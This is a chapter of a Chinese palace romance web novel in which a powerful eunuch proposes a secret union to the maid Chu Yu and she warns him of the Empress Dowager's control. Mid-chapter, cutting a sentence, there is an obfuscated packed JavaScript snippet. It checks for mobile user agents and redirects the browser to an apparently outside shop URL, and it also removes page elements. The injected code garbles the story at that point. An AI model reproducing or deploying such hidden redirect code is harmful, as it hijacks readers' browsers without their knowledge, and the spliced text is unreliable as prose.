江南苏州府?关禧心头掠过一丝讶异。那是鱼米之乡,富庶之地,诗书礼仪之邦,与这北地的凛冽宫墙截然不同。她身上那股清冷疏离的气质,也有了解释,“苏州……好地方。”他顺着话头往下问,语气努力放得随意,像是闲谈,“家中……可还有亲人?”问完又觉唐突,若家中尚有亲眷,她又怎会小小年纪便入宫为婢,且看起来与故乡毫无牵念? 楚玉沉默的时间更长了些,长到关禧几乎要以为她不会回答了。 就在他准备岔开话题时,她开了口,声音比刚才更轻更淡:“家中父母早亡,并无兄弟姊妹。我是冯家的家生奴婢,自记事起便在冯府,陪着娘娘长大。” 家生奴婢……陪着冯媛长大…… 关禧的心一沉。原来如此。她并非通过采选入宫,而是作为冯媛的陪嫁或心腹侍女,从冯府直接进入潜邸,再到这深宫。她的全部世界,从很早开始,便与冯媛紧密捆绑。 她的过去,就是冯媛的过去。 “那你跟在冯昭仪身边,有多久了?”他问,声音柔和了些。 楚玉抬眼看他,那双沉静的眸子里掠过无奈,仿佛在说他这查户口般的问法实在有些好笑,又有些让人招架不住,“我自六岁起,便被分到当时还是小姐的娘娘身边做伴读侍女。”她顿了顿,在计算年月,“娘娘十五岁入潜邸,我随侍。永昌元年,陛下登基,娘娘晋位昭仪,移居承华宫,我亦跟随至今。” 六岁……到如今。 关禧在心里默默计算。 冯媛今年约莫二十三四,楚玉比她小,如此算来,她跟在冯媛身边,竟已有十年以上。十年朝夕相伴,主仆情深,甚至可能掺杂着更多复杂难言的情愫……这个认知让他胸口有些发闷,又有些释然。释然于她与冯媛之间那深厚的羁绊有了来由,沉闷于这羁绊如此之久,如此之深,构成了她生命的全部底色。 “六岁……”他低声重复,拇指在她虎口处摩挲,“那么小的年纪,就……” 就离开了父母,或者说,从未真正拥有过寻常孩童的父母之爱,而是成为了另一个女孩的附属和陪伴。他想起自己这具身体的原主小离子,也是小小年纪被送入宫,断了根脉,生死不由己。某种程度上,他们都是这宫廷吞噬早早失去依凭的孤雏。 “习惯了。”楚玉看穿了他未尽的怜悯,声音平淡,却像一根细小的刺,扎了他一下,提醒他不必也不该如此看她,“娘娘待我极好,教我识字明理,已是天大的恩典。” 关禧喉头一哽,握着她的手收紧了些。他听得出她话里的维护,也听得出那平淡之下或许连她自己都未曾察觉的一丝认命。极好的恩典,便是她所拥有的全部了。 “你今年……?”他忍不住还是问了出来,目光落在她清冷韵致的侧脸上,他先前一直模糊地觉得她比自己年长,更有阅历,此刻才惊觉自己对她的了解竟如此匮乏。 “过了年,便二十了。” 二十。 比关禧这具身体的年纪大了三岁,与冯媛的年龄差也显得合理了许多。更重要的是,这个年纪意味着她已在冯媛身边,在这深宫之中,浸淫了将近十四年。十四年的光阴,足以将一个懵懂孩童打磨成如今这副沉静如深潭的模样,也足以将她与冯媛的命运缠绕得密不可分。她生命里超过三分之二的岁月,都与冯媛息息相关。 “楚玉,如今我总算是多知道了一些你的事。” 他略去那些关于冯媛,让他不适的细节,只强调知道了一些你的事,仿佛这样就能将她从过去的背景里剥离出来,专属于此刻的他。 他顿了顿,握紧她的手,“以前我跟你提过的事,你可再想过?” 他没有明说是什么事,但彼此心知肚明。 是名分,是那层在这深宫里,于宦官和宫女之间被称为对食的脆弱联结,是他想要将她从冯昭仪的楚玉,变成关禧的楚玉的宣告。他以前提时,自己尚且不稳,如今权势在握,这份索求便也带上了更多的底气。 楚玉的睫毛颤动了一下。上一次他提起时,她是拒绝,用身份,用处境,用为他好也为自己好的理由将他推开。那时他无力反驳。可现在,他旧事重提,语气里不再是祈求,而是带着势在必得的征询,以及一种如今我已不同往日的底气。 “掌印……” “别叫我掌印,这里没有外人。”关禧倾身靠近,他需要一个既能在当下语境里表达亲密,那些在现代社会里烂熟于心的亲昵称呼,老婆宝宝之类,在舌尖打了个转,被硬生生咽了回去。 不合时宜,也太轻佻。 他需要一个既能在当下语境里表达亲密,又不至于太过惊世骇俗的称呼。 一个词蓦地跳入脑海。 “卿卿。” 楚玉浑身一震,倏然抬眼看他,苍白的脸颊以肉眼可见的速度泛起一层薄红。卿卿……这般狎昵的称呼,古时虽多见于夫妻或极亲密的情侣之间,可在这深宫,一个权宦如此称呼一个宫女,其中的意味…… “你……”她张了张嘴,却只吐出一个字,后续的话语像是被那声“卿卿”堵在了喉咙里,只剩下眼中波光剧烈晃动,泄露了内心的惊涛骇浪。 关禧看着她骤然绯红的脸颊和失措的眼神,心中那点忐忑化作了更深的悸动。他终于在她那总是平静的脸上,看到了如此生动的反应,这反应只属于他。 他乘胜追击,拇指安抚般摩挲她的手背,“以前我人微言轻,朝不保夕,你顾虑得多,我不怪你。可现在不一样了。楚玉,我说过,再也不准推开我。名分这件事,我不想再等,也不能再等了。” 他的目光锁住她,一字一句,“我不逼你立刻答应。但你要知道,我心里,早已将你视作我的妻。这宫里宫外,再不会有第二个人。” “你明白吗?我想听你应我一声。” 妻?楚玉心尖都在颤,脸上火烧火燎,连带着被他握在掌中的手,也沁出了细密的汗。她垂下眼,避开他灼热的目光,试图从这令人窒息的情潮里挣脱出一丝清明。 “……掌印慎言。这般称呼,于礼不合,若传出去……” “传出去又如何?”关禧截断她的话,“我说过,这里没有外人。楚玉,我只问你,应不应我?” 楚玉的心跳得厉害。她不是不想应,是不敢应。在承华宫,他横刀颈侧,鲜血滴落的一幕至今仍是她午夜梦魇。他用最激烈的方式在她心里烙下印记,也斩断了她的退路。她承诺过不再推开他,可这不代表前路就变得平坦。 她深吸一口气,强迫自己抬起头,迎上他的视线,“我若应了,往后呢?掌印可曾想过,你我之间,不仅仅是两心相许那么简单。” “你是司礼监掌印,提督内厂,权倾朝野不假。可这权力是谁给的?你的根又扎在哪里?太后会允许你身边,有一个对食的宫女吗?” “娘娘将你从泥泞中拔擢至此,赐你泼天富贵,无边权势,难道是为了看你与旁人琴瑟和鸣,心有所属?关禧,娘娘对你的掌控,你比我更清楚。你如今坐得越高,越是她手中最得意、最不能失控的棋子。她会容许这枚棋子,心里装着别人,身边还放着一个可能影响他判断、甚至成为他弱点的女人吗?” 关禧握着她的手不自觉地松了些。 是啊,太后怎么会允许? 郑书意要的是他绝对的忠诚,是身心彻底的依附,是除了她给予的恩宠与权势之外,一无所有,也别无选择的孤臣。一个对食,一个名正言顺可以分享他私密情感与生活,甚至可能孕育出超越主仆情谊的伴侣,对太后而言,绝不仅仅是一个宫女那么简单。那是一个信号,宣告着关禧开始试图建立独立于她之外的情感联结和私人领域;那更是一个潜在的威胁,意味着这把最锋利的刀,可能有了自己的牵挂和软肋,不再如臂使指,绝对干净。 楚玉看着他眼中光芒的明灭,看着他下颌线因咬牙而绷紧,心中并无半分逼问得逞的快意,只有更深的酸楚和无力。她何尝愿意在他刚刚展露一点真实渴求时,就亲手揭开这血淋淋的疮疤?可她必须说。她不想将来某一天,他们的对食之名,成为太后降下雷霆之怒的导火索,成为他被清算的罪状之一,更成为她被他牵连,乃至被他亲手处理掉的缘由。 “你如今权势煊赫,或许觉得能护住我。可在这宫里,最大的权势在永寿宫。娘娘若觉得我碍眼了,有的是法子让我悄无声息地消失,或是让你……不得不亲手将我推开,甚至更糟。到那时,你待如何?为了我,与娘娘反目?你有这个把握,还是……有这份决心?” 她问得残忍,却现实。 关禧闭上了眼。楚玉描绘的场景,在他脑中清晰上演。太后那双看似慵懒,实则洞察一切的眼睛,只需轻轻一瞥,就足以让他脊背生寒。她有一万种方法让楚玉合理消失,或是让他自愿做出选择。而他,拿什么抗衡?他如今拥有的一切,包括保护楚玉的些许能力,都建立在太后的默许甚至纵容之上。若真到了那一步…… 他不敢想下去。 原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303104|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,即便坐上了九千岁的高位,在某些力量面前,他依然脆弱得不堪一击。他连给自己心爱的女人一个光明正大的名分,都可能是将她推向绝路的催命符。 “……那你要我怎么办?”他再睁开眼时,眼底是一片沉郁的猩红,声音嘶哑得厉害,“难道就永远这样,偷偷摸摸,见不得光?楚玉,我受够了!我受够了在太后面前虚与委蛇,受够了连想和你多说几句话都要找借口!我想要你在我身边,名正言顺地在我身边!” 他的情绪有些失控,握着她的手再次收紧,力道大得让她蹙眉。 “我知道危险!我知道太后可能不容!可我不想再等了!每一天,我都觉得像是在刀尖上跳舞,不知道明天会不会因为哪件事触怒天威,或是被哪股暗流吞没。楚玉,在我还能抓住点什么的时候,我不想放手!” “我们可以小心些,暂时不公开,只在私下……我会安排好一切,不会让人抓住把柄。太后那边……我会想办法,我会让她觉得,你对我而言,并没有那么重要,或者……你对我掌控内廷、为她办事有所帮助……” 他的话颠三倒四,逻辑混乱,既想不顾一切地拥有,又深知头顶悬着利剑,于是试图在夹缝中寻找一丝侥幸的可能。 楚玉看着他,看着他因激动泛红的眼眶,看着他眼中那卑微的希冀。心口的酸胀几乎要满溢出来。她何尝不想?在这冰冷无情的深宫,能有一个彼此懂得,可以相互取暖的人,是奢求,也是毒药。 “关禧,”她叫他的名字,声音是前所未有的柔和,“没有侥幸。在这宫里,尤其是在永寿宫那位面前,任何侥幸都是致命的。” “你若真想……真想与我有个长久。那就不能急,更不能授人以柄。对食之名,眼下是绝不可提的。甚至你我之间的往来,也要比现在更加小心谨慎。” “你若真在意我,就先把这份心思压下去,藏好了。把你该做的事做好,把你的位置坐得更稳,让太后越发离不得你,也让陛下……或许将来,能有更多的转圜余地。” 她说的转圜余地,关禧听懂了。是指皇帝与太后之间的博弈,或许将来会出现新的变数,能让他有机会摆脱或减轻太后的绝对控制。这想法渺茫,却也是黑暗中唯一可见的微光。 关禧眼中的激烈情绪,在她冷静的分析和温柔的抚慰下,渐渐平息。他知道她说得对。冲动解决不了问题,只会加速毁灭。 “……我明白了。对食之事,暂且不提。但楚玉,你答应我,心里要记得。我关禧的妻子,只会是你。” “我记得,我怎么会不记得?”楚玉重复着他的话,抬起眼,那双总是盛满疏离的眸子,此刻被水汽氤氲,映出他紧张的面容。 “这些日子,我躺在承华宫的榻上,闻着药气,看着帐顶,想的……并不全是娘娘的恩情,或是如何养好身子,不再成为任何人的拖累。” 她伸出手,抚上了他的脸颊,描摹他的眉骨,划过他挺直的鼻梁,最后停留在他紧抿的唇。 这个动作,超越了所有言语。 “我想的……”她的声音更哑了,水汽在她眼眶里汇聚,却倔强地不肯落下,“是你在司礼监,是不是又批阅奏章到了深夜?是不是又为了太后和陛下之间的事情,费尽心思,如履薄冰?你颈上的伤……还疼不疼?” 每一个问题,都像一块投入心湖的石子,激起关禧胸中滔天的巨浪。他从未听过楚玉用这样的语气,说这样的话。那里面没有宫女对权宦的恭维,没有理智的权衡利弊,只有最直接的牵挂。 “冯媛待我好,我知道。”楚玉的指尖停留在他唇角,声音低得像耳语,“那种好,是经年累月的陪伴,是主仆之间的情分,是深宫里相互依偎取暖的习惯。它像温泉,缓缓地浸着人,让人安心,却也……让人看不清自己的心到底想要什么。” 她倾身,拉近了距离,关禧能看见她眼中自己清晰的倒影,能闻到她身上那股清冽又带着淡淡药草苦香的气息。 “可你不一样,关禧。”她叫他的名字,不再是疏离的掌印,“你就像……就像一团烧过来的火,不管不顾,横冲直撞。你把你那颗心,血淋淋地、滚烫地掏出来,硬要塞给我看。你说恨,就恨得咬牙切齿;你说爱,就爱得……连命都可以不要。” 一滴泪,终于从她眼角滑落,沿着苍白的脸颊,留下一道湿亮的痕迹。 “我推开你,是因为我怕。怕这团火太烫,会把我们都烧成灰烬。怕你那颗掏出来的心,在这吃人的地方,被人轻易践踏、捏碎。我告诉自己,要理智,要权衡,要为你好,也为自己寻一条最稳妥的活路……” 她轻轻摇头,泪水涟涟:“可我忘了,心不是石头做的。它会疼,会冷,也会……忍不住想要靠近那团明知危险的火。” “我知道你身体里……”她的话语在这里有了一个微妙的停顿,目光深深看进关禧骤然睁大的眼里,“我知道你和别人都不一样……” 正因如此,那份悸动才更加真实,超越了这具皮囊的局限。她爱上的,是这个伤痕累累,偏执疯狂,却有着最纯粹炽热灵魂的人,无论这灵魂包裹在怎样的躯壳之下。 “所以,”楚玉的手指,顺着他的下颌线,移到他的耳后,指腹摩挲着那一小块细腻的皮肤,“这些见不到你的日子,我心里……其实是想的。” 她终于说出了口。 不再是隐晦的探望,不再是借口下的相见。而是直白地承认,她想他。 关禧的呼吸乱了。 他伸出手,将她整个人揽入怀中,手臂像铁箍一样环着她的肩背,用力之大,仿佛要将她嵌入自己的骨血。 “……楚玉。你再说一遍。” 楚玉被他勒得有些喘不过气,抬起手臂,环住了他精瘦的腰身。 “我想你。”她贴着他的耳朵,一字一句,清晰无比,“关禧,我想你了。